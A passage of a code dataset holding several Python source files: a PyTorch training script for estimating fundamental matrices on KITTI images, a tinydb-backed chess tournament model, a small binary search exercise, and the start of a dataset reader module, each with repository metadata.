[]\n for m, n in matches:\n if m.distance < THRESHOLD * n.distance:\n good.append([m])\n\n err_l = []\n err_r = []\n img_W = left_img.shape[1] - 1\n#---------------------------------------------------------------------\n for color_idx, g in enumerate(good):\n # get the ids of matching feature points\n id_l, id_r = g[0].queryIdx, g[0].trainIdx\n # x: column\n # y: row\n # get the feature points in both left and right images\n x_l, y_l = kps_left[id_l].pt\n x_r, y_r = kps_right[id_r].pt\n\n '''Color for line'''\n color = colors[color_idx % len(colors)]\n\n '''Epi line on the left image'''\n # epi line of right points on the left image\n point_r = np.array([x_r, y_r, 1])\n line_l = np.dot(f_mat.T, point_r)\n\n \n # calculating 2 points on the line\n y_0 = epipoline(0, line_l)\n y_1 = epipoline(img_W, line_l)\n # drawing the line and feature points on the left image\n left_img_line = cv2.circle(left_img_line, (int(x_l), int(y_l)), radius=4, color=color)\n left_img_line = cv2.line(left_img_line, (0, y_0), (img_W, y_1), color=color, lineType=cv2.LINE_AA)\n # displaying just feature points\n left_img = cv2.circle(left_img, (int(x_l), int(y_l)), radius=4, color=color)\n\n '''Epi line on the right image'''\n # epi line of left points on the right image\n point_l = np.array([x_l, y_l, 1])\n line_r = np.dot(f_mat, point_l)\n\n # verifying points\n err_R = verify_xfx(line_r, point_r)\n err_r.append(err_R)\n # verifying points\n err_L = verify_xfx(line_l, point_l)\n err_l.append(err_L)\n # calculating 2 points on the line\n y_0 = epipoline(0, line_r)\n y_1 = epipoline(img_W, line_r)\n\n # drawing the line on the right image\n right_img_line = cv2.circle(right_img_line, (int(x_r), int(y_r)), radius=4, color=color)\n right_img_line = cv2.line(right_img_line, (0, y_0), (img_W, y_1), color=color, lineType=cv2.LINE_AA)\n # displaying just feature points\n right_img = cv2.circle(right_img, (int(x_r), int(y_r)), radius=4, color=color)\n\n l_avgErr = np.average(err_l) if err_l else 0\n r_avgErr = np.average(err_r) if err_r else 0\n\n vis = np.concatenate((left_img_line, right_img_line), axis=0)\n font = cv2.FONT_HERSHEY_SIMPLEX\n\n img_H = vis.shape[0]\n cv2.putText(vis, '{:.4f}'.format(float(l_avgErr)), (10, 20), font, 0.3, color=(0, 255, 0), lineType=cv2.LINE_AA)\n cv2.putText(vis, '{:.4f}'.format(float(r_avgErr)), (10, img_H - 10), font, 0.3, color=(0, 255, 0), lineType=cv2.LINE_AA)\n cv2.putText(vis, '{:.4f}'.format(float(loss.data.cpu())), (int(img_W-img_W/2), img_H - 10), font, 0.3, color=(0, 255, 0), lineType=cv2.LINE_AA)\n\n sqResultDir = os.path.join(ROOT_DIR, visualizeDir, '{}'.format(epoch))\n if not os.path.exists(sqResultDir):\n os.makedirs(sqResultDir)\n\n cv2.imwrite(os.path.join(sqResultDir, 'epipoLine_sift_batch{}_img{}.png'.format(img_idx, idx)), vis)\n print(\"Writing image ... \" + 'epipoLine_sift_batch{}_img{}.png'.format(img_idx, idx))\n images.append(vis)\n errors['batch{}_img{}_left'.format(img_idx, idx)] = l_avgErr\n errors['batch{}_img{}_right'.format(img_idx, idx)] = r_avgErr\n return np.array(images), errors\n\n\n\ndef training(args, model, device, trainLoader, optimizer, criterion, epoch, writer, allParamsRegularized= False):\n '''\n Training the model.\n :param args: input arguments\n :param model: training model\n :param device: device\n :param trainLoader: training loader\n :param optimizer: optimizer\n :param criterion: criterion\n :param epoch: current epoch\n :param writer: tensorboard writer\n :param allParamsRegularized: regularize all params?\n :return:\n '''\n # enter train mode\n model.train()\n # saving losses\n totalLoss = []\n print(50 * \"*\")\n print(\"Training Epoch ... \", epoch)\n print(50 * \"*\")\n\n # number of batches in the training dataset\n l = len(trainLoader)\n # length of the whole training dataset.\n L = len(trainLoader.dataset)\n # Regularizer\n reg_loss = L2Regularizer(model=model, lambda_reg=0.01)\n for batch_idx, (data, target, (_,_)) in enumerate(trainLoader):\n data, target = data.to(device, dtype=torch.float), target.to(device, dtype=torch.float)\n optimizer.zero_grad()\n output = model(data)\n loss = criterion(output, target)\n if allParamsRegularized:\n loss = reg_loss.regularized_all_param(reg_loss_function=loss)\n totalLoss.append(loss.item())\n\n loss.backward()\n\n optimizer.step()\n # writing the loss of the current batch to tensorboard\n writer.add_scalar('Batch Loss',\n loss.data.cpu(),\n epoch * l + batch_idx)\n if batch_idx % args.log_interval == args.log_interval-1:\n print('Train Epoch: {} [{}/{} ({:.0f}%)]\\tLoss: {:.6f}'.format(\n epoch, (batch_idx+1) * len(data), L ,\n 100. * (batch_idx+1) / l, loss.data.cpu()))\n\n # writing the loss of the current epoch to tensorboard\n writer.add_scalars('Train Epoch Loss', {'Training': np.mean(np.array(totalLoss))}, epoch)\n writer.flush()\n\n\ndef validating(args, model, device, valLoader, epoch, writer, log, trainloader=None):\n '''\n\n :param args:\n :param model:\n :param device:\n :param valLoader:\n :param epoch:\n :param writer:\n :param log:\n :param trainloader:\n :return:\n '''\n visualDir = \"visualization/model_{}\".format(args.exp)\n model.eval()\n totalLoss = []\n trainTotalLoss = []\n criterion = nn.MSELoss()\n\n print(50 * \"*\")\n print(\"Validating Epoch ... \", epoch)\n print(50 * \"*\")\n L = len(valLoader.dataset)\n with torch.no_grad():\n for id, (data, target, (left_img, right_img)) in enumerate(valLoader):\n data, target = data.to(device, dtype=torch.float), target.to(device, dtype=torch.float)\n output = model(data)\n loss = criterion(output, target)\n totalLoss.append(loss.item())\n\n if id == 0:\n print(\"Visualize ... Batch {}\".format(id))\n imageBatch, errors = visualize2Images(args, left_img, right_img, output, loss, epoch, id, visualizeDir=visualDir)\n log[\"epoch_{}_batch_{}\".format(epoch, id)] = errors\n\n nameErr = 'batch{}_img{}_right'.format(id, 0)\n print(nameErr)\n writer.add_scalars(\"Testing Image Errors\", {\"exp_{}_{}\".format(args.exp, nameErr): errors[nameErr]}, epoch)\n writer.add_images(\"VisualResult_Exp_{}\".format(args.exp), imageBatch, global_step=epoch, dataformats='NHWC')\n\n if trainloader:\n for id, (data, target, (_, _)) in enumerate(trainloader):\n data, target = data.to(device, dtype=torch.float), target.to(device, dtype=torch.float)\n output = model(data)\n loss = criterion(output, target)\n trainTotalLoss.append(loss.item())\n\n valMean = np.mean(np.array(totalLoss))\n writer.add_scalars('Epoch Loss',{'Validate': valMean} ,epoch)\n if trainloader:\n trainMean = np.mean(np.array(trainTotalLoss))\n writer.add_scalars('Epoch Loss', {'Train': trainMean}, epoch)\n print('Trainning Set: Average Error: {:.6f}'.format(trainMean))\n writer.flush()\n print('Validation set: Average Error: {:.6f}. Length of set : {}.'.format(valMean, L))\n\n\ndef main():\n '''\n Running the models here\n :return:\n '''\n parser = argparse.ArgumentParser(description='DeepF_noCorrs')\n\n parser.add_argument('--deviceID', type=int, default=0, metavar='N',\n help='The GPU ID (default: 0)')\n parser.add_argument('--batch-size', type=int, default=8, metavar='N',\n help='batch size for training set (default: 8)')\n parser.add_argument('--test-batch-size', type=int, default=8, metavar='N',\n help='batch size for testing set (default: 8)')\n parser.add_argument('--epochs', type=int, default=200, metavar='N',\n help='number of epochs (default: 200)')\n parser.add_argument('--lr', type=float, default=0.0000001, metavar='LR',\n help='learning rate (default: 0.0000001)')\n parser.add_argument('--exp', type=int, default=0, metavar='experiment ID',\n help='naming the experiment ID (default: 0)')\n\n parser.add_argument('--log-interval', type=int, default=100, metavar='N',\n help='how many iterations to wait before printing the loss status')\n\n parser.add_argument('--k-fold', type=int, default=3, metavar='1-9',\n help='how many folds in the test set (default: 3)')\n\n parser.add_argument('--kth', type=int, default=0, metavar='0-10',\n help='The kth fold (default: 0)')\n\n parser.add_argument(\"--model\", type=str, default='deepfmat', metavar=\"deepfmat, resnet, vgg16, alex\",\n help='Selecting the training models (default: deepfmat)')\n\n parser.add_argument(\"--norm\", type=str, default='ETR', metavar='ETR, ABS, FBN',\n help=\"Selecting the normalization method (default: ETR)\")\n\n args = parser.parse_args()\n\n # -------------Dataset Path-----------------------------------\n POSES_PATH = \"/media/slark/Data/Projects/dataset/data_kitti/dataset/poses\"\n SEQUENCE_PATH = \"/media/slark/Data/Projects/dataset/data_kitti/dataset/sequences\"\n log_dir = os.path.join(\"logs/batchLosses/\" + datetime.datetime.now().strftime(\"%Y%m%d-%H%M%S\"))\n resultDir = os.path.join(ROOT_DIR, \"analysis/experiment_{}_lr{}_batch{}\".format(args.exp, args.lr, args.batch_size))\n # ------------------------------------------------------------\n\n # -------------Loading dataset--------------------------------\n db = DataSet(SEQUENCE_PATH, POSES_PATH)\n train, val, test = db.dataSets(k_fold=args.k_fold, kth=args.kth)\n poses = db.poses\n train_loader = DataLoader(dataSet=train\n , poses=poses\n , dType=\"train\"\n , camera=0)\n val_loader = DataLoader(dataSet=val\n , poses=poses\n , dType=\"validate\"\n , camera=0)\n # ------------------------------------------------------------\n use_cuda = torch.cuda.is_available()\n kwargs = {'num_workers': 4, 'pin_memory': True} if use_cuda else {}\n device = torch.device(args.deviceID if use_cuda else \"cpu\")\n trainLoader = torch.utils.data.DataLoader(train_loader\n , batch_size=args.batch_size\n , shuffle=True\n , **kwargs)\n valLoader = torch.utils.data.DataLoader(val_loader\n , batch_size=args.test_batch_size\n , shuffle=False\n , **kwargs)\n\n resultModelFile = os.path.join(resultDir, log_dir, \"result_{}\".format(args.exp))\n\n print(50*\"*\")\n print(\"Running experiment {}\".format(args.exp))\n print(50 * \"*\")\n\n outputSize = 9\n writer = SummaryWriter(os.path.join(resultDir, log_dir))\n if args.model == \"deepfmat\":\n model = DeepFMatNet(outputSize=outputSize, norm=args.norm).to(device)\n elif args.model == \"alex\":\n model = DeepFMatAlex(outputSize=outputSize, norm=args.norm).to(device)\n elif args.model == \"vgg16\":\n model = DeepFMatVGG16(outputSize=outputSize, norm=args.norm).to(device)\n elif args.model == \"resnet\":\n model = DeepFMatResNet18(outputSize=outputSize, norm=args.norm).to(device)\n\n if os.path.isfile(resultModelFile):\n try:\n model.load_state_dict(torch.load(resultModelFile))\n except:\n print(\"Cannot load the saved model\")\n\n optimizer = optim.Adam(model.parameters(), lr=args.lr)\n criterion = nn.MSELoss()\n scheduler = StepLR(optimizer, step_size=5, gamma=0.1)\n testErrorLog = os.path.join(resultDir, \"log.txt\")\n log = {}\n if os.path.isfile(testErrorLog):\n with open(testErrorLog, \"rb\") as f:\n log = pickle.load(f)\n for epoch in range(1, args.epochs+1):\n startTime = time.time()\n training(args, model, device, trainLoader, optimizer, criterion, epoch, writer)\n\n validating(args, model, device, valLoader, epoch, writer, log, trainloader=trainLoader)\n scheduler.step()\n torch.save(model.state_dict(), resultModelFile)\n torch.save(model.state_dict(), resultModelFile + \"_epoch_{}\".format(epoch))\n with open(testErrorLog, 'wb') as f:\n pickle.dump(log, f)\n endTime = time.time()\n writer.add_scalar('Time Epoch', endTime, epoch)\n print('--------{}--------\\n'.format(endTime - startTime))\n writer.close()\n\nif __name__ == '__main__':\n main()", "repo_name": "letatanu/DeepE_noCor_Pytorch", "sub_path": "RunModel.py", "file_name": "RunModel.py", "file_ext": "py", "file_size_in_byte": 16068, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 6, "dataset": "github-code", "pt": "71", "api": [{"api_name": "os.path.dirname", "line_number": 15, "usage_type": "call"}, {"api_name": "os.path", "line_number": 15, "usage_type": "attribute"}, {"api_name": "os.path.abspath", "line_number": 15, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 42, "usage_type": "call"}, {"api_name": "numpy.sqrt", "line_number": 45, "usage_type": "call"}, {"api_name": "cv2.xfeatures2d.SIFT_create", "line_number": 69, "usage_type": "call"}, {"api_name": "cv2.xfeatures2d", "line_number": 69, "usage_type": "attribute"}, {"api_name": "cv2.BFMatcher", "line_number": 70, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 74, "usage_type": "call"}, {"api_name": "cv2.imread", "line_number": 76, "usage_type": "call"}, {"api_name": "cv2.cvtColor", "line_number": 82, "usage_type": "call"}, {"api_name": "cv2.COLOR_BGR2GRAY", "line_number": 82, "usage_type": "attribute"}, {"api_name": "cv2.imread", "line_number": 85, "usage_type": "call"}, {"api_name": "cv2.cvtColor", "line_number": 90, "usage_type": "call"}, {"api_name": "cv2.COLOR_BGR2GRAY", "line_number": 90, "usage_type": "attribute"}, {"api_name": "numpy.array", "line_number": 120, "usage_type": "call"}, {"api_name": "numpy.dot", "line_number": 121, "usage_type": "call"}, {"api_name": "cv2.circle", "line_number": 128, "usage_type": "call"}, {"api_name": "cv2.line", "line_number": 129, "usage_type": "call"}, {"api_name": "cv2.LINE_AA", "line_number": 129, "usage_type": "attribute"}, {"api_name": "cv2.circle", "line_number": 131, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 135, "usage_type": "call"}, {"api_name": "numpy.dot", "line_number": 136, "usage_type": "call"}, {"api_name": "cv2.circle", "line_number": 149, "usage_type": "call"}, {"api_name": "cv2.line", "line_number": 150, "usage_type": "call"}, {"api_name": "cv2.LINE_AA", "line_number": 150, "usage_type": "attribute"}, {"api_name": "cv2.circle", "line_number": 152, "usage_type": "call"}, {"api_name": "numpy.average", "line_number": 154, "usage_type": "call"}, {"api_name": "numpy.average", "line_number": 155, "usage_type": "call"}, {"api_name": "numpy.concatenate", "line_number": 157, "usage_type": "call"}, {"api_name": "cv2.FONT_HERSHEY_SIMPLEX", "line_number": 158, "usage_type": "attribute"}, {"api_name": "cv2.putText", "line_number": 161, "usage_type": "call"}, {"api_name": "cv2.LINE_AA", "line_number": 161, "usage_type": "attribute"}, {"api_name": "cv2.putText", "line_number": 162, "usage_type": "call"}, {"api_name": "cv2.LINE_AA", "line_number": 162, "usage_type": "attribute"}, {"api_name": "cv2.putText", "line_number": 163, "usage_type": "call"}, {"api_name": "cv2.LINE_AA", "line_number": 163, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 165, "usage_type": "call"}, {"api_name": "os.path", "line_number": 165, "usage_type": "attribute"}, {"api_name": "os.path.exists", "line_number": 166, "usage_type": "call"}, {"api_name": "os.path", "line_number": 166, "usage_type": "attribute"}, {"api_name": "os.makedirs", "line_number": 167, "usage_type": "call"}, {"api_name": "cv2.imwrite", "line_number": 169, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 169, "usage_type": "call"}, {"api_name": "os.path", "line_number": 169, "usage_type": "attribute"}, {"api_name": "numpy.array", "line_number": 174, "usage_type": "call"}, {"api_name": "models.Regularizer.L2Regularizer", "line_number": 205, "usage_type": "call"}, {"api_name": "torch.float", "line_number": 207, "usage_type": "attribute"}, {"api_name": "numpy.mean", "line_number": 228, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 228, "usage_type": "call"}, {"api_name": "torch.nn.MSELoss", "line_number": 249, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 249, "usage_type": "name"}, {"api_name": "torch.no_grad", "line_number": 255, "usage_type": "call"}, {"api_name": "torch.float", "line_number": 257, "usage_type": "attribute"}, {"api_name": "torch.float", "line_number": 274, "usage_type": "attribute"}, {"api_name": "numpy.mean", "line_number": 279, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 279, "usage_type": "call"}, {"api_name": "numpy.mean", "line_number": 282, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 282, "usage_type": "call"}, {"api_name": "argparse.ArgumentParser", "line_number": 294, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 329, "usage_type": "call"}, {"api_name": "os.path", "line_number": 329, "usage_type": "attribute"}, {"api_name": "datetime.datetime.now", "line_number": 329, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 329, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 330, "usage_type": "call"}, {"api_name": "os.path", "line_number": 330, "usage_type": "attribute"}, {"api_name": "models.DataSet.DataSet", "line_number": 334, "usage_type": "call"}, {"api_name": "models.DataLoader.DataLoader", "line_number": 337, "usage_type": "call"}, {"api_name": "models.DataLoader.DataLoader", "line_number": 341, "usage_type": "call"}, {"api_name": "torch.cuda.is_available", "line_number": 346, "usage_type": "call"}, {"api_name": "torch.cuda", "line_number": 346, "usage_type": "attribute"}, {"api_name": "torch.device", "line_number": 348, "usage_type": "call"}, {"api_name": "torch.utils.data.DataLoader", "line_number": 349, "usage_type": "call"}, {"api_name": "torch.utils", "line_number": 349, "usage_type": "attribute"}, {"api_name": "torch.utils.data.DataLoader", "line_number": 353, "usage_type": "call"}, {"api_name": "torch.utils", "line_number": 353, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 358, "usage_type": "call"}, {"api_name": "os.path", "line_number": 358, "usage_type": "attribute"}, {"api_name": "torch.utils.tensorboard.SummaryWriter", "line_number": 365, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 365, "usage_type": "call"}, {"api_name": "os.path", "line_number": 365, "usage_type": "attribute"}, {"api_name": "models.models.DeepFMatNet", "line_number": 367, "usage_type": "call"}, {"api_name": "models.models.DeepFMatAlex", "line_number": 369, "usage_type": "call"}, {"api_name": "models.models.DeepFMatVGG16", "line_number": 371, "usage_type": "call"}, {"api_name": "models.models.DeepFMatResNet18", "line_number": 373, "usage_type": "call"}, {"api_name": "os.path.isfile", "line_number": 375, "usage_type": "call"}, {"api_name": "os.path", "line_number": 375, "usage_type": "attribute"}, {"api_name": "torch.load", "line_number": 377, "usage_type": "call"}, {"api_name": "torch.optim.Adam", "line_number": 381, "usage_type": "call"}, {"api_name": "torch.optim", "line_number": 381, "usage_type": "name"}, {"api_name": "torch.nn.MSELoss", "line_number": 382, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 382, "usage_type": "name"}, {"api_name": "torch.optim.lr_scheduler.StepLR", "line_number": 383, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 384, "usage_type": "call"}, {"api_name": "os.path", "line_number": 384, "usage_type": "attribute"}, {"api_name": "os.path.isfile", "line_number": 386, "usage_type": "call"}, {"api_name": "os.path", "line_number": 386, "usage_type": "attribute"}, {"api_name": "pickle.load", "line_number": 388, "usage_type": "call"}, {"api_name": "time.time", "line_number": 390, "usage_type": "call"}, {"api_name": "torch.save", "line_number": 395, "usage_type": "call"}, {"api_name": "torch.save", "line_number": 396, "usage_type": "call"}, {"api_name": "pickle.dump", "line_number": 398, "usage_type": "call"}, {"api_name": "time.time", "line_number": 399, "usage_type": "call"}]} {"seq_id": "11214754375", "text": "import logging\nimport random\n\nfrom chess.models.conf import DATA_TOURNAMENTS\nfrom tinydb import Query\n\nfrom chess.models.round import Round\n\n\nclass Tournament:\n \"\"\" \"\"\"\n\n MAX_PLAYERS = 4\n table = DATA_TOURNAMENTS\n\n def __init__(\n self,\n\n name=\"\",\n place=\"\",\n start_date=\"\",\n end_date=\"\",\n rounds_number=4,\n current_round=-1,\n rounds_list=[],\n players_list=[],\n description=\"\",\n status=\"created\", # créé, en cours, terminé,\n\n ) -> None:\n \"\"\" \"\"\"\n self.name = name\n self.place = place\n self.start_date = start_date\n self.end_date = end_date\n self.rounds_number = rounds_number\n self.current_round = current_round\n self.rounds_list = rounds_list\n self.players_list = players_list\n self.description = description\n self.status = status\n\n def create(self):\n \"\"\" \"\"\"\n self.table.insert(self.__dict__)\n\n def end_tournament(self):\n \"\"\" \"\"\"\n Obj = Query()\n self.table.update({\"status\": \"closed\"}, Obj.name == self.name)\n\n def remove_one(self):\n \"\"\" \"\"\"\n Obj = Query()\n self.table.remove(Obj.name == self.name)\n\n @classmethod\n def remove_all(cls):\n \"\"\" \"\"\"\n cls.table.truncate()\n\n def update(self, tournament_value, value_to_change):\n \"\"\" \"\"\"\n Obj = Query()\n self.table.update({tournament_value: value_to_change},\n Obj.name == self.name)\n\n @classmethod\n def find_one(cls, data, value):\n \"\"\" Chercher un tournois \"\"\"\n Obj = Query()\n t_list = cls.table.search(Obj[data] == value)\n\n if len(t_list) != 1:\n raise AttributeError(\"More than 1 tournament\")\n return t_list[0]\n\n @classmethod\n def find_all(cls):\n \"\"\" \"\"\"\n list_doc = cls.table.all()\n list_dict = [dict(doc) for doc in list_doc]\n\n return list_dict\n\n def add_player(self, ine_player: str):\n \"\"\" \"\"\"\n if (self.status == \"created\") and (self.n_players < self.MAX_PLAYERS):\n\n if ine_player not in self.players_list:\n self.players_list.append(ine_player)\n self.table.update({'players_list': self.players_list},\n Query().name == self.name)\n logging.warning(\"Joueur inscrit\")\n\n else:\n logging.warning(\" Attention : joueur déjà inscrit\")\n\n elif self.n_players >= self.MAX_PLAYERS:\n logging.warning(\"Maximum de joueurs atteint\")\n\n else:\n logging.warning(\"Attention : tournois non créé\")\n\n def add_players(self, players_list: list):\n \"\"\" \"\"\"\n for player in players_list:\n self.add_player(player)\n\n def start_tournament(self):\n \"\"\" \"\"\"\n if (self.status == \"created\") and (self.n_players == self.MAX_PLAYERS):\n self.status = \"running\"\n self.table.update({\"status\": self.status},\n Query().name == self.name)\n\n elif self.status != \"created\":\n logging.error(f\"Erreur de status {self.status}\")\n else:\n logging.error(\"problème nombre de players\")\n\n def create_first_round(self):\n \"\"\" \"\"\"\n if self.current_round == -1 and self.status == \"running\":\n self.current_round += 1\n self.table.update({\"current_round\": self.current_round},\n Query().name == self.name)\n\n shuffled_list = self.players_list\n random.shuffle(shuffled_list)\n match_1 = (f\"{shuffled_list[0]}\", 0), (f\"{shuffled_list[1]}\", 0)\n match_2 = (f\"{shuffled_list[2]}\", 0), (f\"{shuffled_list[3]}\", 0)\n matchs_list = [match_1, match_2]\n r = Round(matchs_list)\n r.create()\n self.rounds_list.append(r.round_id)\n self.table.update({\"rounds_list\": self.rounds_list},\n Query().name == self.name)\n return r.round_id\n\n @classmethod\n def get_instance(cls, document):\n name = document[\"name\"]\n place = document[\"place\"]\n start_date = document[\"start_date\"]\n end_date = document[\"end_date\"]\n rounds_number = document[\"rounds_number\"]\n current_round = document[\"current_round\"]\n rounds_list = document[\"rounds_list\"]\n players_list = document[\"players_list\"]\n description = document[\"description\"]\n status = document[\"status\"]\n return Tournament(name, place, start_date, end_date, rounds_number,\n current_round, rounds_list, players_list,\n description, status)\n\n @property\n def scores(self):\n \"\"\" \"\"\"\n if not self.n_players:\n return {}\n\n # no score before 1st round\n\n scores = {id_player: 0 for id_player in self.players_list}\n if self.current_round < 1:\n return scores\n\n # else\n for round_id in self.rounds_list:\n ronde = Round.find_one(\"round_id\", round_id)\n matchs_list = ronde.matchs_list\n for match in matchs_list:\n scores[match[0][0]] += match[0][1]\n scores[match[1][0]] += match[1][1]\n\n return scores\n\n @property\n def classement(self):\n \"\"\" \"\"\"\n classement = [(i, j) for i, j in self.scores.items()]\n\n classement = sorted(classement, key=lambda i: i[1], reverse=True)\n\n classement = [i[0] for i in classement]\n self.players_list = classement\n self.table.update({\"players_list\": self.players_list},\n Query().name == self.name)\n\n return classement\n\n def have_already_played(self, player_x, player_0):\n \"\"\"\"\"\"\n flatten_match_list = []\n for round_id in self.rounds_list:\n rounde = Round.find_one(\"round_id\", round_id)\n\n matchs_list = rounde.matchs_list\n\n for match in matchs_list:\n m = (match[0][0], match[1][0])\n flatten_match_list.append(m)\n\n cand_match = (player_0, player_x)\n\n for match in flatten_match_list:\n\n if match == cand_match:\n return True\n\n cand_match = (player_x, player_0)\n for match in flatten_match_list:\n\n if match == cand_match:\n return True\n\n return False\n\n def compute_round(self):\n \"\"\"define the roundes\"\"\"\n\n logging.warning(\"_compute_ronde called\")\n\n # seulement si c'est la 1er la current_round 0\n if self.current_round == 0:\n logging.warning(\"not self._current_round:\")\n\n # we need 3 object storage\n match_list = []\n players_choisis = []\n players_non_choisis = [i for i in self.players_list]\n\n while len(players_non_choisis) != 0:\n # just to be more readable\n p1 = players_non_choisis[0]\n p2 = players_non_choisis[1]\n\n # match and match list\n match = [(p1, 0), (p2, 0)]\n match_list.append(match)\n\n # update players_choisis & non choisis\n players_choisis.extend([p1, p2])\n\n players_non_choisis.remove(p1)\n players_non_choisis.remove(p2)\n\n return match_list\n\n # else\n match_list = []\n players_choisis = []\n self.players_list = self.classement\n players_non_choisis = [i for i in self.players_list]\n\n i = 0\n while len(players_non_choisis) != 0:\n p1 = players_non_choisis[i]\n\n if p1 in players_choisis:\n continue\n\n for p_id in self.players_list:\n if p1 == p_id:\n continue\n\n if p_id in players_choisis:\n continue\n\n already_played = self.have_already_played(p1, p_id)\n if not already_played:\n break\n\n # match and match list\n match = [(p1, 0), (p_id, 0)]\n match_list.append(match)\n\n # update players_choisis & non choisis\n players_choisis.extend([p1, p_id])\n\n if p_id in players_non_choisis:\n players_non_choisis.remove(p_id)\n players_non_choisis.remove(p1)\n\n return match_list\n\n def next_round(self):\n \"\"\" \"\"\"\n i = self.rounds_list[self.current_round]\n previous_round = Round.find_one(\"round_id\",\n f\"{i}\")\n previous_round.end()\n\n self.current_round += 1\n self.table.update({\"current_round\": self.current_round},\n Query().name == self.name)\n\n if int(self.current_round) >= int(self.rounds_number):\n self.status = \"closed\"\n self.table.update({\"status\": self.status},\n Query().name == self.name)\n\n return logging.warning(\"Tournois terminé !\")\n new_match_list = self.compute_round()\n\n new_round = Round(new_match_list)\n\n self.rounds_list.append(new_round.round_id)\n self.table.update({\"rounds_list\": self.rounds_list},\n Query().name == self.name)\n new_round.create()\n\n @property\n def n_players(self):\n \"\"\" \"\"\"\n return len(self.players_list)\n\n def __repr__(self):\n \"\"\" \"\"\"\n rep = 'Tournois(' + self.name + ',' + self.place + str(\n self.players_list) + ')'\n return rep\n", "repo_name": "Al3xBrs/Chess_Tournament", "sub_path": "chess/models/tournaments.py", "file_name": "tournaments.py", "file_ext": "py", "file_size_in_byte": 9712, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "71", "api": [{"api_name": "chess.models.conf.DATA_TOURNAMENTS", "line_number": 14, "usage_type": "name"}, {"api_name": "tinydb.Query", "line_number": 49, "usage_type": "call"}, {"api_name": "tinydb.Query", "line_number": 54, "usage_type": "call"}, {"api_name": "tinydb.Query", "line_number": 64, "usage_type": "call"}, {"api_name": "tinydb.Query", "line_number": 71, "usage_type": "call"}, {"api_name": "tinydb.Query", "line_number": 93, "usage_type": "call"}, {"api_name": "logging.warning", "line_number": 94, "usage_type": "call"}, {"api_name": "logging.warning", "line_number": 97, "usage_type": "call"}, {"api_name": "logging.warning", "line_number": 100, "usage_type": "call"}, {"api_name": "logging.warning", "line_number": 103, "usage_type": "call"}, {"api_name": "tinydb.Query", "line_number": 115, "usage_type": "call"}, {"api_name": "logging.error", "line_number": 118, "usage_type": "call"}, {"api_name": "logging.error", "line_number": 120, "usage_type": "call"}, {"api_name": "tinydb.Query", "line_number": 127, "usage_type": "call"}, {"api_name": "random.shuffle", "line_number": 130, "usage_type": "call"}, {"api_name": "chess.models.round.Round", "line_number": 134, "usage_type": "call"}, {"api_name": "tinydb.Query", "line_number": 138, "usage_type": "call"}, {"api_name": "chess.models.round.Round.find_one", "line_number": 171, "usage_type": "call"}, {"api_name": "chess.models.round.Round", "line_number": 171, "usage_type": "name"}, {"api_name": "tinydb.Query", "line_number": 189, "usage_type": "call"}, {"api_name": "chess.models.round.Round.find_one", "line_number": 197, "usage_type": "call"}, {"api_name": "chess.models.round.Round", "line_number": 197, "usage_type": "name"}, {"api_name": "logging.warning", "line_number": 223, "usage_type": "call"}, {"api_name": "logging.warning", "line_number": 227, "usage_type": "call"}, {"api_name": "chess.models.round.Round.find_one", "line_number": 291, "usage_type": "call"}, {"api_name": "chess.models.round.Round", "line_number": 291, "usage_type": "name"}, {"api_name": "tinydb.Query", "line_number": 297, "usage_type": "call"}, {"api_name": "tinydb.Query", "line_number": 302, "usage_type": "call"}, {"api_name": "logging.warning", "line_number": 304, "usage_type": "call"}, {"api_name": "chess.models.round.Round", "line_number": 307, "usage_type": "call"}, {"api_name": "tinydb.Query", "line_number": 311, "usage_type": "call"}]} {"seq_id": "39348256637", "text": "from array import array\nfrom ctypes import Array\nfrom typing import Tuple\n\n\ndef binary_search(numbers: Array, value: int) -> Tuple[bool, int]:\n p=0\n k=len(numbers)-1\n while(p<=k):\n middle = int((p+k)/2)\n if value==numbers[middle]:\n return True,middle\n elif value>numbers[middle]:\n p+=1\n else:\n k-=1\n return False,-1\n\nx = array('i',[0,4,7,11,55,99])\nprint(binary_search(x,2))\nprint(binary_search(x,55))", "repo_name": "AdrianAlbrecht/AiSD_20-21", "sub_path": "Lab_10/Lab_10.py", "file_name": "Lab_10.py", "file_ext": "py", "file_size_in_byte": 474, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "70", "api": [{"api_name": "ctypes.Array", "line_number": 6, "usage_type": "name"}, {"api_name": "typing.Tuple", "line_number": 6, "usage_type": "name"}, {"api_name": "array.array", "line_number": 19, "usage_type": "call"}]} {"seq_id": "41008279868", "text": "import torch\ntorch.manual_seed(1741)\nimport random\nrandom.seed(1741)\nimport numpy as np\nnp.random.seed(1741)\nfrom collections import defaultdict\nimport pickle\nimport os\nimport tqdm\nfrom itertools import combinations\nfrom data_loader.reader import mulerx_tsvx_reader, tbd_tml_reader, tdd_tml_reader, tml_reader, tsvx_reader\nfrom utils.tools import create_target, padding, pos_to_id\nfrom sklearn.model_selection import train_test_split\nfrom utils.SentenceEncoder import SentenceEncoder\nimport gc\n\n\nclass Reader(object):\n def __init__(self, type) -> None:\n super().__init__()\n self.type = type\n \n def read(self, dir_name, file_name):\n if self.type == 'tsvx':\n return tsvx_reader(dir_name, file_name)\n elif self.type == 'tml':\n return tml_reader(dir_name, file_name)\n elif self.type == 'mulerx':\n return mulerx_tsvx_reader(dir_name, file_name)\n elif self.type == 'tbd_tml':\n return tbd_tml_reader(dir_name, file_name)\n elif self.type == 'tdd_man':\n return tdd_tml_reader(dir_name, file_name, type_doc='man')\n elif self.type == 'tdd_auto':\n return tdd_tml_reader(dir_name, file_name, type_doc='auto')\n else:\n raise ValueError(\"We have not supported {} type 